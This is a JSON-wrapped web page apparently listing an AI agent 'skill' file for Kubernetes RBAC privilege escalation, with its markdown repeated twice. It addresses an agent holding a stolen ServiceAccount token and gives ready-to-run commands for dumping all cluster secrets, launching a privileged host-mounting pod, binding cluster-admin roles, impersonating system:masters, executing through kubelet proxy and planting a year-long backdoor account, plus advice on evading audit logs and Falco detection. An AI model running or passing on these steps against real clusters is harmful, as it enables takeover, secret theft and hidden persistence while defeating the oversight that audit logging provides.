[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EHWVB3N8ZRMM9P2BPSJ465":3,"skill-same:01M7EHWVB3N8ZRMM9P2BPSJ465":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7EHWVB3N8ZRMM9P2BPSJ465","k8s-rbac-abuse",null,"Kubernetes RBAC privilege escalation paths — ClusterRole\u002FRole enumeration via `kubectl auth can-i --list`, abuse of pods\u002Fexec, pods\u002Fportforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse.","a18268941610-crypto\u002FDecepticon-shentou","a18268941610-crypto","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F241464571?v=4","01M7EHA2V2KTCYTX78QJKXCZ8Y","fubai","01M7EHA2VKDD5RCWJJKC0ZA101",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fcontainer\u002Fk8s-rbac-abuse\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: k8s-rbac-abuse\ndescription: \"Kubernetes RBAC privilege escalation paths — ClusterRole\u002FRole enumeration via `kubectl auth can-i --list`, abuse of pods\u002Fexec, pods\u002Fportforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"kubernetes k8s rbac role privilege escalation can-i pods\u002Fexec secrets list escalate bind impersonate serviceaccount cluster-admin system:masters\"\n  subdomain: cloud-native\n  tags: kubernetes, rbac, privilege-escalation, authorization\n  mitre_attack: T1078.004, T1098.003, T1552.005\n---\n\n# Kubernetes RBAC Privilege Escalation\n\nYou have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.\n\n## Phase 1: Enumerate current permissions\n\n```bash\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nNS=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fnamespace)\nAPISERVER=https:\u002F\u002Fkubernetes.default.svc\n\n# Set up kubectl with the stolen token\nkubectl config set-credentials hacked --token=\"$TOKEN\"\nkubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify\nkubectl config set-context c --cluster=c --user=hacked --namespace=$NS\nkubectl config use-context c\n\n# Enumerate everything you can do\nkubectl auth can-i --list                    # in your namespace\nkubectl auth can-i --list --all-namespaces   # cluster-wide (often forbidden — that's a signal too)\nkubectl auth can-i '*' '*' --all-namespaces  # are you cluster-admin?\n\n# Get your role bindings\nkubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains(\"YOUR_SA_NAME\"))'\n```\n\n## Phase 2: Classic escalation paths\n\n### 2.1 `pods\u002Fexec` or `pods\u002Fattach` on a privileged pod\n\nIf you can `exec` into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:\n\n```bash\n# Find pods you can exec into\nkubectl auth can-i create pods\u002Fexec\n# Find privileged pods\nkubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | \"\\(.metadata.namespace)\u002F\\(.metadata.name)\"'\n\n# Exec → escape (see k8s-pod-escape skill)\nkubectl exec -it -n kube-system privileged-pod-name -- \u002Fbin\u002Fsh\n```\n\n### 2.2 `secrets get\u002Flist` cluster-wide\n\n```bash\n# Dump every secret in the cluster\nkubectl get secrets -A -o json > all_secrets.json\n# Service-account tokens, image-pull secrets, custom-application secrets — all here\njq -r '.items[] | select(.type==\"kubernetes.io\u002Fservice-account-token\") | \"\\(.metadata.namespace)\u002F\\(.metadata.name): \\(.data.token | @base64d)\"' all_secrets.json | head\n\n# Pick a more-privileged SA token and re-authenticate\nNEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d\u002F -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)\nkubectl --token=\"$NEW_TOKEN\" auth can-i '*' '*' --all-namespaces\n```\n\n### 2.3 `create pods` — run a privileged pod yourself\n\nEven without exec on existing pods, if you can CREATE pods you can build one that mounts the host:\n\n```bash\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pwn\nspec:\n  hostPID: true\n  hostNetwork: true\n  containers:\n  - name: pwn\n    image: alpine\n    command: [\"nsenter\", \"-t\", \"1\", \"-m\", \"-u\", \"-i\", \"-n\", \"-p\", \"sh\"]\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host\n      mountPath: \u002Fhost\n  volumes:\n  - name: host\n    hostPath:\n      path: \u002F\nEOF\nkubectl exec -it pwn -- \u002Fbin\u002Fsh\n```\n\nIf PSP \u002F Pod Security Admission blocks `privileged: true`, downgrade gradually: hostPath: \u002F, hostPID alone, capabilities: [SYS_ADMIN], etc. PSA's `restricted` profile blocks all of these; `baseline` blocks privileged + hostPath but allows hostPID; `privileged` allows everything.\n\n### 2.4 `escalate` verb\n\nThe `escalate` verb on `roles`\u002F`clusterroles` lets you create a role with permissions you DON'T have:\n\n```bash\nkubectl auth can-i escalate clusterroles\n# If \"yes\":\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: rbac.authorization.k8s.io\u002Fv1\nkind: ClusterRole\nmetadata:\n  name: total-pwn\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\nEOF\n# Then bind it to your SA\nkubectl create clusterrolebinding pwn --clusterrole=total-pwn --serviceaccount=$NS:default\n```\n\n### 2.5 `bind` verb\n\nThe `bind` verb lets you bind an existing higher-privilege ClusterRole to your SA:\n\n```bash\nkubectl auth can-i create clusterrolebindings\n# OR\nkubectl auth can-i bind clusterroles\n# Either gives you escalation to cluster-admin:\nkubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=$NS:default\n```\n\n### 2.6 `impersonate` verb\n\n```bash\nkubectl auth can-i impersonate users\n# If yes, impersonate cluster-admin:\nkubectl --as=system:admin auth can-i '*' '*' --all-namespaces\nkubectl --as=system:admin get secrets -A\n# Or impersonate a group:\nkubectl --as=anything --as-group=system:masters get secrets -A\n```\n\n### 2.7 `nodes\u002Fproxy` — bypass RBAC via kubelet\n\n```bash\nkubectl auth can-i get nodes\u002Fproxy\n# If yes, talk to the kubelet directly (bypasses the API server's RBAC)\nkubectl proxy --port=8080 &\ncurl -sk http:\u002F\u002Flocalhost:8080\u002Fapi\u002Fv1\u002Fnodes\u002F$NODE\u002Fproxy\u002Frun\u002FPOD_NS\u002FPOD_NAME\u002FCONTAINER -X POST -d 'cmd=id'\n```\n\n## Phase 3: Token persistence\n\n```bash\n# Create a long-lived SA token (k8s 1.24+ doesn't auto-mount tokens forever)\nkubectl create token your-sa --duration=720h    # 30-day token\n\n# Or create an SA + ClusterRoleBinding pair that survives revocation of yours\nkubectl create sa backdoor -n kube-system\nkubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor\nTOKEN=$(kubectl create token backdoor -n kube-system --duration=8760h)   # 1 year\n```\n\n## OPSEC\n\n- Every `kubectl` call hits the API server audit log. `kubectl auth can-i --list` calls SelfSubjectRulesReview — distinctive in audit logs.\n- Falco and Sysdig rules flag `create-clusterrolebinding`, `impersonate`, and `nodes\u002Fproxy` access.\n- Token theft from etcd \u002F pod-filesystem leaves no audit trail until the token is USED — separate the steal and the use in time if possible.\n- Prefer `--user-agent` matching the kubectl version already in use on the cluster to blend in.\n\n## References\n\n- [Kubernetes RBAC docs](https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Freference\u002Faccess-authn-authz\u002Frbac\u002F)\n- BadPods (Bishop Fox) — every PSA bypass class\n- DEFCON 30 \"Hacking Kubernetes\" — Madhu Akula \u002F Andrew Martin\n- KubiScan — tools for the defender side\n","# Kubernetes RBAC Privilege Escalation\n\nYou have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.\n\n## Phase 1: Enumerate current permissions\n\n```bash\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nNS=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fnamespace)\nAPISERVER=https:\u002F\u002Fkubernetes.default.svc\n\n# Set up kubectl with the stolen token\nkubectl config set-credentials hacked --token=\"$TOKEN\"\nkubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify\nkubectl config set-context c --cluster=c --user=hacked --namespace=$NS\nkubectl config use-context c\n\n# Enumerate everything you can do\nkubectl auth can-i --list                    # in your namespace\nkubectl auth can-i --list --all-namespaces   # cluster-wide (often forbidden — that's a signal too)\nkubectl auth can-i '*' '*' --all-namespaces  # are you cluster-admin?\n\n# Get your role bindings\nkubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains(\"YOUR_SA_NAME\"))'\n```\n\n## Phase 2: Classic escalation paths\n\n### 2.1 `pods\u002Fexec` or `pods\u002Fattach` on a privileged pod\n\nIf you can `exec` into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:\n\n```bash\n# Find pods you can exec into\nkubectl auth can-i create pods\u002Fexec\n# Find privileged pods\nkubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | \"\\(.metadata.namespace)\u002F\\(.metadata.name)\"'\n\n# Exec → escape (see k8s-pod-escape skill)\nkubectl exec -it -n kube-system privileged-pod-name -- \u002Fbin\u002Fsh\n```\n\n### 2.2 `secrets get\u002Flist` cluster-wide\n\n```bash\n# Dump every secret in the cluster\nkubectl get secrets -A -o json > all_secrets.json\n# Service-account tokens, image-pull secrets, custom-application secrets — all here\njq -r '.items[] | select(.type==\"kubernetes.io\u002Fservice-account-token\") | \"\\(.metadata.namespace)\u002F\\(.metadata.name): \\(.data.token | @base64d)\"' all_secrets.json | head\n\n# Pick a more-privileged SA token and re-authenticate\nNEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d\u002F -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)\nkubectl --token=\"$NEW_TOKEN\" auth can-i '*' '*' --all-namespaces\n```\n\n### 2.3 `create pods` — run a privileged pod yourself\n\nEven without exec on existing pods, if you can CREATE pods you can build one that mounts the host:\n\n```bash\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pwn\nspec:\n  hostPID: true\n  hostNetwork: true\n  containers:\n  - name: pwn\n    image: alpine\n    command: [\"nsenter\", \"-t\", \"1\", \"-m\", \"-u\", \"-i\", \"-n\", \"-p\", \"sh\"]\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host\n      mountPath: \u002Fhost\n  volumes:\n  - name: host\n    hostPath:\n      path: \u002F\nEOF\nkubectl exec -it pwn -- \u002Fbin\u002Fsh\n```\n\nIf PSP \u002F Pod Security Admission blocks `privileged: true`, downgrade gradually: hostPath: \u002F, hostPID alone, capabilities: [SYS_ADMIN], etc. PSA's `restricted` profile blocks all of these; `baseline` blocks privileged + hostPath but allows hostPID; `privileged` allows everything.\n\n### 2.4 `escalate` verb\n\nThe `escalate` verb on `roles`\u002F`clusterroles` lets you create a role with permissions you DON'T have:\n\n```bash\nkubectl auth can-i escalate clusterroles\n# If \"yes\":\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: rbac.authorization.k8s.io\u002Fv1\nkind: ClusterRole\nmetadata:\n  name: total-pwn\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\nEOF\n# Then bind it to your SA\nkubectl create clusterrolebinding pwn --clusterrole=total-pwn --serviceaccount=$NS:default\n```\n\n### 2.5 `bind` verb\n\nThe `bind` verb lets you bind an existing higher-privilege ClusterRole to your SA:\n\n```bash\nkubectl auth can-i create clusterrolebindings\n# OR\nkubectl auth can-i bind clusterroles\n# Either gives you escalation to cluster-admin:\nkubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=$NS:default\n```\n\n### 2.6 `impersonate` verb\n\n```bash\nkubectl auth can-i impersonate users\n# If yes, impersonate cluster-admin:\nkubectl --as=system:admin auth can-i '*' '*' --all-namespaces\nkubectl --as=system:admin get secrets -A\n# Or impersonate a group:\nkubectl --as=anything --as-group=system:masters get secrets -A\n```\n\n### 2.7 `nodes\u002Fproxy` — bypass RBAC via kubelet\n\n```bash\nkubectl auth can-i get nodes\u002Fproxy\n# If yes, talk to the kubelet directly (bypasses the API server's RBAC)\nkubectl proxy --port=8080 &\ncurl -sk http:\u002F\u002Flocalhost:8080\u002Fapi\u002Fv1\u002Fnodes\u002F$NODE\u002Fproxy\u002Frun\u002FPOD_NS\u002FPOD_NAME\u002FCONTAINER -X POST -d 'cmd=id'\n```\n\n## Phase 3: Token persistence\n\n```bash\n# Create a long-lived SA token (k8s 1.24+ doesn't auto-mount tokens forever)\nkubectl create token your-sa --duration=720h    # 30-day token\n\n# Or create an SA + ClusterRoleBinding pair that survives revocation of yours\nkubectl create sa backdoor -n kube-system\nkubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor\nTOKEN=$(kubectl create token backdoor -n kube-system --duration=8760h)   # 1 year\n```\n\n## OPSEC\n\n- Every `kubectl` call hits the API server audit log. `kubectl auth can-i --list` calls SelfSubjectRulesReview — distinctive in audit logs.\n- Falco and Sysdig rules flag `create-clusterrolebinding`, `impersonate`, and `nodes\u002Fproxy` access.\n- Token theft from etcd \u002F pod-filesystem leaves no audit trail until the token is USED — separate the steal and the use in time if possible.\n- Prefer `--user-agent` matching the kubectl version already in use on the cluster to blend in.\n\n## References\n\n- [Kubernetes RBAC docs](https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Freference\u002Faccess-authn-authz\u002Frbac\u002F)\n- BadPods (Bishop Fox) — every PSA bypass class\n- DEFCON 30 \"Hacking Kubernetes\" — Madhu Akula \u002F Andrew Martin\n- KubiScan — tools for the defender side\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"kubernetes, rbac, privilege-escalation, authorization","cloud-native","kubernetes k8s rbac role privilege escalation can-i pods\u002Fexec secrets list escalate bind impersonate serviceaccount cluster-admin system:masters","T1078.004, T1098.003, T1552.005","Bash Read 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Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]